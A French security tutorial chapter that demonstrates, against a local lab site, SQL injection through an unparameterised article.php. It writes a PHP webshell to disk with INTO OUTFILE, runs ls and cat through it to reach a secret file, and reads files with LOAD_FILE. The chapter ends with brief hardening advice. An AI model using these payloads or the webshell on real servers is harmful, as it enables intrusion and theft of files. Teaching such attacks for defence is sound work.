Licence CC BY

Écriture/Lecture d'un fichier

Les injections SQL permettent principalement de manipuler la base de données mais peuvent parfois servir de portes d'entrées dérobées (backdoor en anglais). C'est ce que nous allons examiner dans cette partie. ;-)

Comme d'habitude voici le code qui nous permettra d'illustrer cet exemple.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
    // code source de article.php
    $host = "localhost";
    $user_mysql = "root";     // nom d'utilisateur de l'utilisateur de MySQL 
    $password_mysql = "";     // mot de passe de l'utilisateur de MySQL
    $database = "zds_injections_sql";

    $db = mysqli_connect($host, $user_mysql, $password_mysql, $database);
    mysqli_set_charset($db, "utf8");
?>

<!DOCTYPE html>
<html lang="fr">
    <head>
        <title></title>
        <meta charset="UTF-8" />
    </head>
    <body>
        <?php
            if(!empty($_GET['article']))
            {
                $article = $_GET['article'];
                $query = "SELECT articles.id, articles.title, DATE_FORMAT(date, '%d/%m/%Y') AS date, content, categories.title AS title_category FROM articles INNER JOIN categories ON articles.category_id = categories.id WHERE articles.id = ".$article;
                $rs_article = mysqli_query($db, $query);

                if(mysqli_num_rows($rs_article) == 1)
                {
                    $r = mysqli_fetch_assoc($rs_article);

                    echo "<h1>".$r['title']."</h1>\n";
                    echo "<span>dans <a href=\"#\">".$r['title_category']."</a> le ".$r['date']."</span>\n\n";

                    echo "<p>".$r['content']."</p>";
                }
            }
        ?>
    </body>
</html>

Contenu de article.php – notez le s manquant  ;)

Bon, voici la situation : vous avez repéré une faille de sécurité, de type injection SQL, sur le site de votre ami John. Ceci dit, ce dernier rétorque qu'il s'en fout parce qu'il n'y a aucune donnée sensible dans sa base de données, ce qui est exact (nous omettrons la table users dans cet exercice : il y a simplement des articles liés à une catégorie donc, non, rien de vraiment très intéressant).

Nous savons par contre que John utilise un dossier, dont nous ignorons le nom, sur le même espace d'hébergement pour stocker des fichiers sensibles qu'il ne voudrait pas perdre.

Vous avez remarqué un détail important : l'utilisateur de la base de données, que le site de John utilise, possède les droits sur les opérations sur les fichiers. Là un grand sourire démoniaque se forme sur votre visage ! :diable:

Vous lui dites qu'il commet une grave erreur de ne pas boucher ce trou et vous terminez par un « Je reviendrai… t'en apporter la preuve ».

Bref, votre mission, si vous l'acceptez, sera d'afficher le contenu de ce fichier et c'est ce que nous allons faire tout de suite, de 2 façons différentes !

La structure se présente comme ceci.

Au même niveau que le dossier injections_sql se trouve un autre dossier dossier_secret. Celui-ci contient un fichier nommé top_secret.txt (mais tout ça, dans la vraie vie, un pirate l'ignore).

Bon, tout est prêt, alors lançons nous !

Exploitation

Écriture dans un fichier

Voici ce que nous allons tenter de faire : injecter un webshell afin de pouvoir lancer des commandes sur le serveur (attention, si vous êtes sous Windows, les commandes ne fonctionneront probablement pas vu que je suis sous une distribution Linux). Ainsi nous pourrons nous promener dans l'arborescence, lister les fichiers, mais surtout, afficher leur contenu, et tout ceci à partir de notre navigateur. ;-)

SQL permet d'écrire le résultat d'une sélection dans un fichier : nous utiliserons OUTFILE pour cela.

Alors vous vous demandez probablement « Comment allons-nous créer cette backdoor ? ».

Comme indiqué dans la partie précédente, le SQL permet de sélectionner des valeurs qu'on peut désigner par un nom de champ, un nombre ou une chaîne de caractères : c'est par ce biais que nous allons injecter notre code car oui nous allons lui demander de sélectionner… du code !

Le seul problème, c'est qu'il faut fournir un lien et nous ne savons pas spécialement où se trouve notre fichier (et encore moins les fichiers qui pourraient être sensibles). Mais dans notre exemple, nous allons voir que notre site est un petit peu trop bavard et que cet excès va grandement nous servir.

En effet, je ne sais pas si vous avez remarqué ce qu'il se passe lorsque l'on fait planter une requête : un message d'erreur apparaît et précise le chemin absolu du fichier concerné.

Oups… ^^

La preuve avec un ORDER BY qui trie sur un champ inexistant :

http://localhost/zds/injections_sql/article.php?article=1 ORDER BY 100

1
2
3
4
5
SELECT articles.id, articles.title, DATE_FORMAT(date, '%d/%m/%Y') AS date, content, categories.title AS title_category 
FROM articles 
INNER JOIN categories ON articles.category_id = categories.id 
WHERE articles.id = 1 
ORDER BY 100

Le voilà, l'emplacement de notre fichier actuel !

Nous donc allons tenter d'écrire dans /var/www/html/zds/injections_sql/ (à adapter si vous avez une autre arborescence).

Le code de notre backdoor sera assez simple : il exécutera simplement la commande qu'on lui passera en paramètre via l'URL.

1
2
3
4
5
6
<?php
    if(!empty($_GET["cmd"]))
    {
        echo "<pre>".shell_exec($_GET["cmd"])."</pre>";
    }
?>

Bon il est temps de passer à notre injection !

http://localhost/zds/injections_sql/article.php?article=-1 UNION SELECT null,'<?php if(!empty(\$_GET["cmd"])){ echo "<pre>".shell_exec(\$_GET["cmd"])."</pre>"; } ?>',null,null,null INTO OUTFILE '/var/www/html/zds/injections_sql/backdoor.php'

1
2
3
4
5
6
7
SELECT articles.id, articles.title, DATE_FORMAT(date, '%d/%m/%Y') AS date, content, categories.title AS title_category 
FROM articles 
INNER JOIN categories ON articles.category_id = categories.id 
WHERE articles.id = -1 
UNION 
SELECT null,'<?php if(!empty($_GET["cmd"])){ echo "<pre>".shell_exec($_GET["cmd"])."</pre>"; } ?>',null,null,null 
INTO OUTFILE '/var/www/html/zds/injections_sql/backdoor.php'

Vérifions si le fichier a bien été créé en y accédant.

http://localhost/zds/injections_sql/backdoor.php

Et la preuve en image :

BINGO, voici notre backdoor ! J'en connais un qui va s'en mordre les doigts, de ne pas avoir voulu boucher ce trou ! :D

Listons les fichiers présent dans le dossier actuel.

http://localhost/zds/injections_sql/backdoor.php?cmd=ls%20-lA

Nous pouvons d'ailleurs remarquer que backdoor.php appartient bien à l'utilisateur mysql.

Remontons au dossier parent et listons les fichiers/dossiers présents.

http://localhost/zds/injections_sql/backdoor.php?cmd=cd ../; ls -lA

Le dossier dossier_secret nous semble intéressant, voyons son contenu.

http://localhost/zds/injections_sql/backdoor.php?cmd=cd ../dossier_secret; ls -lA

Oh mais qui voilà : notre fichier top secret « logiquement » inaccessible… ^^

Portons le coup final !

http://localhost/zds/injections_sql/backdoor.php?cmd=cat ../dossier_secret/top_secret.txt

Mission accomplie ! ^^

Ce type d'exploitation est redoutable vu les possibilités qu'elle offre cependant elle possédé quelques inconvénients majeurs :

  • il faut que l'utilisateur de la base de données possède les droits sur FILE, ce qui n'est souvent pas le cas sauf si il y a un réel besoin
  • il faut également que le dossier cible soit accessible en écriture au SGBD (car c'est bien lui qui va créer le fichier donc ce sont bien ses droits qui seront d'application) sinon la création sera refusée. Un bypass potentiel est de profiter d'une faille de type include afin d'inclure un fichier qui sera créé dans un dossier où tout le monde peut écrire (par exemple le dossier tmp qui se trouve la racine du serveur. Ce dernier est généralement accessible en lecture/écriture à tout le monde).
  • le chemin doit être indiqué entre guillemets et le contournement habituel en utilisant des fonctions comme CHAR() ou l'encodage en hexadécimal ne fonctionne pas.

Ceci dit, il y a une autre méthode, que nous allons aborder tout de suite, mais celle que nous venons de voir vous permet de comprendre que, dans certains cas, le SQL peut aller plus loin que la base de données et peut être une porte ouverte vers le contenu de votre serveur donc même si l'injection vous parait anodine, ne l'ignorez pas et corrigez-la au plus vite. ;-)

Bref, si on peut écrire dans un fichier j'imagine que vous vous doutez qu'on peut alors également lire un fichier.

Lecture d'un fichier

La fonction LOAD_FILE de MySQL permet la lecture d'un fichier ou plutôt le contenu du fichier sera importé dans le champ. La seule contrainte est que, comme pour l'écriture de fichier, l'utilisateur doit avoir les droits sur FILE et bien sûr il faut que le fichier cible puisse être lu par MySQL.

Un avantage par contre, c'est que l'encodage pour contourner l'échappement fonctionne, nous allons d'ailleurs l'utiliser.

Testons avec le fichier secret de notre ami John dont le lien est, dans mon cas, le suivant : /var/www/html/zds/dossier_secret/top_secret.txt

Si nous l'encodons en chaîne hexadécimale, ça nous donne ceci : 0x2f7661722f7777772f68746d6c2f7a64732f646f73736965725f7365637265742f746f705f7365637265742e747874.

http://localhost/zds/injections_sql/article.php?article=-1 UNION SELECT null,LOAD_FILE(0x2f7661722f7777772f68746d6c2f7a64732f646f73736965725f7365637265742f746f705f7365637265742e747874),null,null,null

1
2
3
4
5
6
SELECT articles.id, articles.title, DATE_FORMAT(date, '%d/%m/%Y') AS date, content, categories.title AS title_category 
FROM articles 
INNER JOIN categories ON articles.category_id = categories.id 
WHERE articles.id = -1 
UNION 
SELECT null,LOAD_FILE(0x2f7661722f7777772f68746d6c2f7a64732f646f73736965725f7365637265742f746f705f7365637265742e747874),null,null,null

Nous avons bien le contenu du fichier, ça fonctionne parfaitement ! ^^

Sécurisation

Pour l'injection, même chose que pour les chapitres précédents.

Il est aussi judicieux de désactiver les messages d'erreur, car, comme nous l'avons vu, ceux-ci sont généralement un peu trop bavards. Heureusement, les hébergeurs le font par défaut.  ^^

Si vous souhaitez désactiver complétement, pour tous les sites présents sur le serveur, l'affichage des messages d'erreur, il vous faut configurer cette ligne du fichier php.ini.

1
display_errors = Off

Si vous n'avez pas accès au php.ini, vous pouvez tenter d'ajouter ceci dans un .htaccess.

1
php_flag display_errors off

Si par contre vous souhaitez désactiver l'affichage des erreurs mais uniquement pour une page, vous pouvez placer cette ligne en début de votre fichier PHP (ça peut avoir son utilité si, par exemple, vous prévoyez un mode DEBUG : ça vous évite de devoir jouer avec le php.ini et de relancer le serveur).

1
2
<?php
ini_set('display_errors', 'Off');

Cette démonstration montre bien que les injections SQL ne sont pas toujours limitées à faire des dégâts dans la base de données, et que, même si ce qui se trouve dans cette base paraît tout à fait anodin, ce qui est sur le serveur l'est souvent beaucoup moins.

Malgré tout, ce type d'injection reste fortement dépendant de la configuration et des droits d'accès, autant au niveau du SGBD que du serveur. Elles sont par conséquent certainement plus rarement rencontrées, mais il faut être conscient qu'elles existent et peuvent permettre ce genre de choses.